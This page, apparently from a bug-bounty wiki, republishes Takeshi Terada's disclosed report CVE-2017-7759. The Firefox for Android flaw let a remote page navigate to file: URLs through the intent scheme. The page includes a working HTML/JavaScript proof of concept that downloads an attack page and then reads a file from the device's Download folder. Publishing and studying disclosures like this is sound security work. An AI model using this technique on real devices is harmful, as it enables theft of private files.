Skip to content
Path traversal Disclosed report Intermediate CVE-2017-7759

Firefox for Android allows navigating from http: to file: URLs

Firefox for Android allowed a remote web page to redirect the browser to a local file URL using an intent scheme. An attacker could then read files in the Download directory and exfiltrate them.

Takeshi Terada Follow

Originally disclosed on Mozilla

  • Fixed in 40 days
  • Paid in 2 months
  • Disclosed after 40 days
Text
User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Build ID: 20170323105023
Firefox for Android

Steps to reproduce:

Visit an remote (http) webpage:

<script>
location="intent:file:///(path)#Intent;type=text/html;end";
</script>




Actual results:

The JS code above redirects the user to file: URL.

The redirection allows remote pages to exfiltrate files in /sdcard/Download/.
Here is a PoC that steals "secret" file in Download directory:

<body style=font-size:300%>
<h1>remote_attack.html</h1>
<p>Downloading local_attack.html.</p>
<a id=a0 href="data:text/html,<body style=font-size:300%>
<h1>local_attack.html</h1>
<p>Reading /sdcard/Download/secret.</p>
<script>
var xhr=new XMLHttpRequest();
xhr.open('GET', 'secret', true);
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4) alert(xhr.responseText)
};
xhr.send();
</script>" download="local_attack.html">
<script>
// Attacker first downloads his attack page (local_attack.html) to sdcard
a0.click();

// Then navigates to the file with file scheme.
// (The file path below might need adjustment depending on the device)
setTimeout(function() {
  location="intent:file:///storage/emulated/0/Download/local_attack.html#Intent;type=text/html;end";
}, 2000);
</script>

I confirmed the code works in Firefox for android v52.0.2 (Nexus 5x).



Expected results:

Navigation from http/https URLs to file URLs should be blocked.

The original report as published on Mozilla's Bugzilla, by Takeshi Terada. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser did not block navigation from http/https pages to file: URLs via the intent scheme, allowing a remote page to load local files.

What the attacker needed

Victim visits a malicious webpage; victim uses Firefox for Android

How it was found

  1. Visit a remote http webpage containing JavaScript that sets location to an intent:file: URL.
  2. The browser redirects to the file: URL, loading a local file.
  3. The local file runs JavaScript that reads another file from the Download directory and displays its contents.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page should not be able to open local files on your phone. Here, a malicious page could trick the browser into opening a file it had just downloaded, and that file could then read other files in your Downloads folder and send them to the attacker.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by Takeshi Terada

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.